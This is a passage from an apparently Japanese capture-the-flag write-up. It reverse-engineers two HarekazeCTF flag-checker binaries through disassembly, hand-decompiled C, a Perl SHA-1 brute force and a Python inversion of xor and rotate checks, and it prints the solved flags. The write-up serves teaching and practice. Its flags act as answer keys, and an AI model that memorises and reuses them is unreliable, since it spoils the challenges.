0x2F, 0x0A, 0xC1, 0xFC, 0x00, 0xF2, 0xFC, 0x51, 0x08, 0x13, 0x06, 0x07, 0x39, 0x3C, 0x05, 0x39,
0x13, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int main(void) {
const char* data_for_gen = "fakeflag{this_is_not_the_real_flag}";
int i;
for (i = 0; i < 35; i++) {
putchar(funcs[i % 3](data_for_gen[i], table[i]));
}
putchar('\n');
return 0;
}
HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
Wait
ELFファイルが与えられた。
TDM-GCCのobjdumpを用いて逆アセンブルし、
得られた処理をC言語で書き下すと、以下のようになった。
ただし、4009dfで読み出されているメモリ0x601058のデータは、ELFファイルの、
最初の0x60を取った0x1058バイト目(0-origin)から格納されていると推測した。
kakikudasi_rev1.c
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
void SHA1(uint8_t*, uint32_t, uint8_t*);
int main(void) {
uint8_t buf_a0[16] = {
0x48, 0x61, 0x72, 0x65, 0x6b, 0x61, 0x7a, 0x65,
0x43, 0x54, 0x46, 0x7b,
0x49, 0x44,
0x0
};
uint8_t buf_c0[4] = {0x58, 0x7d, 0x0};
uint8_t buf_be = 0x00;
uint8_t buf_70[32] = {
0x1f, 0xcc, 0xe7, 0xec, 0x44, 0xbe, 0xb7, 0x2c,
0x99, 0x4e, 0x2c, 0xd6, 0x9c, 0x46, 0x29, 0x16,
0xca, 0x8e, 0xc8, 0x10
};
uint8_t buf_b0[16] = {
0x26, 0x44, 0x1f, 0x16, 0xb, 0xb, 0x1c, 0x21,
0x1d, 0x20, 0x0
};
uint8_t buf_50[32] = {
0x5c, 0x75, 0xca, 0x57, 0x85, 0x49, 0xf6, 0xa2,
0xc8, 0x3d, 0x14, 0xd1, 0xef, 0xce, 0x56, 0x55, 0xa5,
0x0, 0xaa, 0x67
};
uint8_t buf_601058[16] = {
0x4d, 0x28, 0x46, 0x4f, 0x65, 0x15, 0x17, 0x0d,
0x13, 0x10, 0x00
};
uint8_t buf_30[32];
uint8_t buf_90[32];
uint32_t buf_d0, buf_d4, buf_cc, buf_c8, buf_c4;
uint32_t eax, edx;
puts("Input flag ( HINT: ^HarekazeCTF\\{ID[A-Z]{4}X\\}$ )");
scanf("%20s", (char*)buf_30);
/* 4008c8 */
for (buf_d4 = 0; buf_d4 <= 0xd; buf_d4++) {
edx = buf_a0[buf_d4];
eax = buf_30[buf_d4];
if ((edx & 0xff) != (eax & 0xff)) {
puts("Wrong flag");
return 0;
}
}
/* 400919 */
for (buf_d0 = 0x0e; buf_d0 <= 0x11; buf_d0++) {
eax = buf_30[buf_d0];
if ((eax & 0xff) - 0x40 <= 0 || (eax & 0xff) - 0x5a > 0) {
puts("Wrong flag");
return 0;
}
}
/* 40096b */
edx = buf_c0[0x0];
eax = buf_30[0x12]; /* -0x1e */
if ((edx & 0xff) != (eax & 0xff)) {
puts("Wrong flag");
return 0;
}
/* 40097a */
edx = buf_c0[0x1]; /* -0xbf */
eax = buf_30[0x13]; /* -0x1d */
if ((edx & 0xff) != (eax & 0xff)) {
puts("Wrong flag");
return 0;
}
/* 40099d */
buf_30[0x14] = 0x53; /* -0x1c */
buf_30[0x15] = 0x41;
buf_30[0x16] = 0x4c;
buf_30[0x17] = 0x54;
buf_30[0x18] = 0x0;
puts("Verifying... ");
/* 4009bb */
for (buf_cc = 0; buf_cc <= 0xa; buf_cc++) {
edx = buf_b0[buf_cc];
eax = buf_601058[buf_cc];
edx += eax;
buf_b0[buf_cc] = edx;
}
/* 400a07 */
SHA1(buf_b0, 0xb, buf_90);
/* 400a22 */
for (buf_c8 = 0; buf_c8 <= 0xa; buf_c8++) {
edx = buf_90[buf_c8];
eax = buf_50[buf_c8];
if ((edx & 0xff) != (eax & 0xff)) {
puts("Be patient");
return 0;
}
}
/* 400a73 */
if (system((char*)buf_b0) != 0) {
puts("Be patient");
return 0;
}
/* 400a97 */
SHA1(buf_30, 0x19, buf_90);
/* 400aaf */
for (buf_c4 = 0; buf_c4 <= 0x13; buf_c4++) {
edx = buf_90[buf_c4];
eax = buf_70[buf_c4];
if ((edx & 0xff) != (eax & 0xff)) {
puts("Wrong flag");
return 0;
}
}
/* 400afd */
puts("Correct flag");
return 0;
}
これを参照すると、まず、4008c8～40099dでは、
入力がヒントの^HarekazeCTF\{ID[A-Z]{4}X\}$の形式にマッチしているかをチェックしていることが読み取れる。
40099d～4009bbでは、入力にSALT\0を付け足している。
4009bb～400a97では、2個の配列に基づきデータsleep 3.00\0を生成した後、
そのSHA1の値の一部が指定のものかをチェックし、system関数により実行している。
400a97～400afdでは、入力にSALT\0を付け足したデータのSHA-1の値の一部が指定のものかをチェックしている。
従って、ヒントのうち[A-Z]{4}の部分を全探索すれば、
SHA-1の値の一部が指定のものになるものが見つかりそうである。
探索空間の大きさは $26^4 = 456976$ なので、十分小さい。
以下のコードで探索を行ったところ、実際に見つかった。
search.pl
#!/usr/bin/perl
use strict;
use warnings;
use Digest::SHA1 qw(sha1);
my $target = "\x1f\xcc\xe7\xec\x44\xbe\xb7\x2c\x99\x4e\x2c\xd6\x9c\x46\x29\x16\xca\x8e\xc8\x10";
my $A = ord("A");
for (my $x = 0; $x < 26; $x++) {
for (my $y = 0; $y < 26; $y++) {
for (my $z = 0; $z < 26; $z++) {
for (my $w = 0; $w < 26; $w++) {
my $str = sprintf("HarekazeCTF{ID%c%c%c%cX}SALT\0", $A + $x, $A + $y, $A + $z, $A + $w);
my $digest = sha1($str);
if (substr($digest, 0, length($target)) eq $target) {
print "$str\n";
exit;
}
}
}
}
}
HarekazeCTF{IDRACIX}
Tiny Flag Checker
ELFファイルっぽいファイルが与えられたが、TDM-GCCのobjdumpを用いて
objdump -d tiny
を実行しても、
objdump: tiny: file format not recognized
と出てしまい、逆アセンブルができない。
バイナリエディタTSXBINでファイルの中身を見ると、
0x4バイト目～0xfバイト目(0-origin)に変なデータが書き込まれていた。
そこで、ここを普通のデータに直してreadelfで確認してみたが、
ヘッダ内の他のデータもデタラメが書かれているようである。
そこで、ただのバイナリファイルとして逆アセンブルすることにした。
objdump -D -b binary -m i386 tiny
とすると、dec命令が多く出力されたことから、これはx86-64の機械語であり、
dec命令に見えるものは他の命令のプリフィックスであると推測できた。
そこで、
objdump -D -b binary -m i386:x86-64 tiny
とすることで、それっぽい逆アセンブル結果を得ることができた。
その中にはcallq 0x95が使われていたが、0x95の周辺はうまく逆アセンブルできていないようだった。
これはファイル中その直前にある文字列データの影響のようだったので、
ここのデータを十分長く0x90で置き換えたファイルに対しTDM-GCCのobjdumpを用いることで、
さらにきれいな逆アセンブル結果を得ることが出来た。
この逆アセンブル結果をC言語で書き下すと、以下のようになった。
ただし、逆アセンブル結果ではsyscallを用いた入出力がされていたが、C言語の標準関数に置き換えている。
また、逆アセンブル結果中のa1の命令はretqで、a2は%rspから定数を減算する命令であった。
そのため、a2からの処理は関数のプロローグに近いと思い、a2から関数が始まると推測した。
kakikudasi_rev1.c
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
int main(void) {
/* a2 */
uint64_t esp_buffer[4] = {0};
uint64_t* r8 = esp_buffer + 2;
uint64_t* r9 = esp_buffer;
uint64_t rax, rdx;
fputs("Input: ", stdout);
fread(r8, 1, 0x10, stdin);
/* da */
r9[0] ^= r8[0];
r9[1] ^= r8[1];
r9[0] = (r9[0] >> 0x29) | (r9[0] << (64 - 0x29));
r9[1] = (r9[1] >> 0x13) | (r9[1] << (64 - 0x13));
/* f1 */
r9[0] ^= UINT64_C(0x5F4E5555464C457F);
r9[1] ^= UINT64_C(0xC61649494157414B);
rax = UINT64_C(0xF0FDCF637563FCE7) ^ r9[0];
rdx = UINT64_C(0x0038CF4F4FDCAE66) ^ r9[1];
/* 11f */
if (rax != 0) goto label_156;
if (rax != rdx) goto label_156;
fputs("Correct! Flag: HarekazeCTF{", stdout);
fwrite(r8, 1, 0x10, stdout);
fputs("}\n", stdout);
goto label_165;
label_156:
fputs("Nope...\n", stdout);
label_165:
exit(0);
}
入力されたデータにxorやローテートの演算を行い、0になるかをチェックする処理をしていることが読み取れる。
そこで、Pythonのインタラクティブモードを用い、演算結果が0になる入力の値を以下のように逆算した。
>>> a = 0xF0FDCF637563FCE7 ^ 0x5F4E5555464C457F
>>> aa = ((a << 0x29) | (a >> (64 - 0x29))) & ((2**64) - 1)
>>> hex(aa)
'0x5f73315f67346c66'
>>> b = 0x0038CF4F4FDCAE66 ^ 0xC61649494157414B
>>> bb = ((b << 0x13) | (b >> (64 - 0x13))) & ((2**64) - 1)
>>> hex(bb)
'0x3030745f796e3174'
>>>
この数値をASCIIとして文字列にするとfl4g_1s_t1ny_t00となるので、
あとはこの文字列の前後にフラグのテンプレートをつければ完成である。
HarekazeCTF{fl4g_1s_t1ny_t00}